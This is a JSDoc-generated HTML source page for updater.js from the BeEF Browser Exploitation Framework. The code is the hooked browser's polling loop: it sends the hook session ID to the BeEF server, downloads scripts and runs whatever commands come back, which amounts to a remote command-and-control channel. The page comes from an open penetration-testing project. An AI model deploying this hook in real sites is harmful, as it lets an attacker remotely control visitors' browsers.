145 lines
5.1 KiB
HTML
145 lines
5.1 KiB
HTML
<!DOCTYPE html>
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<html lang="en">
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<head>
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<meta charset="utf-8">
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<title>JSDoc: Source: updater.js</title>
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<script src="scripts/prettify/prettify.js"> </script>
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<script src="scripts/prettify/lang-css.js"> </script>
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<!--[if lt IE 9]>
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<script src="//html5shiv.googlecode.com/svn/trunk/html5.js"></script>
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<![endif]-->
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<link type="text/css" rel="stylesheet" href="styles/prettify-tomorrow.css">
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<link type="text/css" rel="stylesheet" href="styles/jsdoc-default.css">
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</head>
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<body>
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<div id="main">
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<h1 class="page-title">Source: updater.js</h1>
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<section>
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<article>
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<pre class="prettyprint source linenums"><code>//
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// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net
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// Browser Exploitation Framework (BeEF) - http://beefproject.com
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// See the file 'doc/COPYING' for copying permission
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//
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/**
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* Object in charge of getting new commands from the BeEF framework and execute them.
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* The XHR-polling channel is managed here. If WebSockets are enabled,
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* websocket.ls is used instead.
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* @namespace beef.updater
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*/
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beef.updater = {
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/** XHR-polling timeout. */
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xhr_poll_timeout: "<%= @xhr_poll_timeout %>",
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/** Hook session name. */
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beefhook: "<%= @hook_session_name %>",
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/** A lock. */
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lock: false,
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/** An object containing all values to be registered and sent by the updater. */
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objects: new Object(),
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/**
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* Registers an object to always send when requesting new commands to the framework.
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* @param {String} key the name of the object.
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* @param {String} value the value of that object.
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*
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* @example beef.updater.regObject('java_enabled', 'true');
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*/
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regObject: function(key, value) {
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this.objects[key] = escape(value);
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},
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// Checks for new commands from the framework and runs them.
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check: function() {
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if(this.lock == false) {
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if (beef.logger.running) {
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beef.logger.queue();
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}
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beef.net.flush();
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if(beef.commands.length > 0) {
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this.execute_commands();
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}else {
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this.get_commands(); /*Polling*/
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}
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}
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/* The following gives a stupid syntax error in IE, which can be ignored*/
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setTimeout(function(){beef.updater.check()}, beef.updater.xhr_poll_timeout);
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},
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/**
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* Gets new commands from the framework.
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*/
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get_commands: function() {
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try {
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this.lock = true;
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beef.net.request(beef.net.httpproto, 'GET', beef.net.host, beef.net.port, beef.net.hook, null, beef.updater.beefhook+'='+beef.session.get_hook_session_id(), 5, 'script', function(response) {
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if (response.body != null && response.body.length > 0)
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beef.updater.execute_commands();
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});
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} catch(e) {
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this.lock = false;
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return;
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}
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this.lock = false;
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},
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/**
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* Executes the received commands, if any.
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*/
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execute_commands: function() {
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if(beef.commands.length == 0) return;
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this.lock = true;
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while(beef.commands.length > 0) {
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command = beef.commands.pop();
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try {
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command();
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} catch(e) {
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beef.debug('execute_commands - command failed to execute: ' + e.message);
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// prints the command source to be executed, to better trace errors
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// beef.client_debug must be enabled in the main config
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beef.debug(command.toString());
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}
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}
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this.lock = false;
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}
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};
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beef.regCmp('beef.updater');
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</code></pre>
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</article>
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</section>
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</div>
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<nav>
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<h2><a href="index.html">Home</a></h2><h3>Namespaces</h3><ul><li><a href="beef.are.html">are</a></li><li><a href="beef.browser.html">browser</a></li><li><a href="beef.browser.cookie.html">cookie</a></li><li><a href="beef.browser.popup.html">popup</a></li><li><a href="beef.dom.html">dom</a></li><li><a href="beef.encode.base64.html">base64</a></li><li><a href="beef.encode.json.html">json</a></li><li><a href="beef.geolocation.html">geolocation</a></li><li><a href="beef.hardware.html">hardware</a></li><li><a href="beef.init.html">init</a></li><li><a href="beef.logger.html">logger</a></li><li><a href="beef.mitb.html">mitb</a></li><li><a href="beef.net.html">net</a></li><li><a href="beef.net.connection.html">connection</a></li><li><a href="beef.net.cors.html">cors</a></li><li><a href="beef.net.dns.html">dns</a></li><li><a href="beef.net.local.html">local</a></li><li><a href="beef.net.portscanner.html">portscanner</a></li><li><a href="beef.net.requester.html">requester</a></li><li><a href="beef.net.xssrays.html">xssrays</a></li><li><a href="beef.os.html">os</a></li><li><a href="beef.session.html">session</a></li><li><a href="beef.timeout.html">timeout</a></li><li><a href="beef.updater.html">updater</a></li><li><a href="beef.webrtc.html">webrtc</a></li><li><a href="beef.websocket.html">websocket</a></li><li><a href="BeefJS.html">BeefJS</a></li><li><a href="browser_jools.html">browser_jools</a></li><li><a href="platform.html">platform</a></li></ul>
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</nav>
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<br class="clear">
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<footer>
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Documentation generated by <a href="https://github.com/jsdoc/jsdoc">JSDoc 3.6.3</a> on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time)
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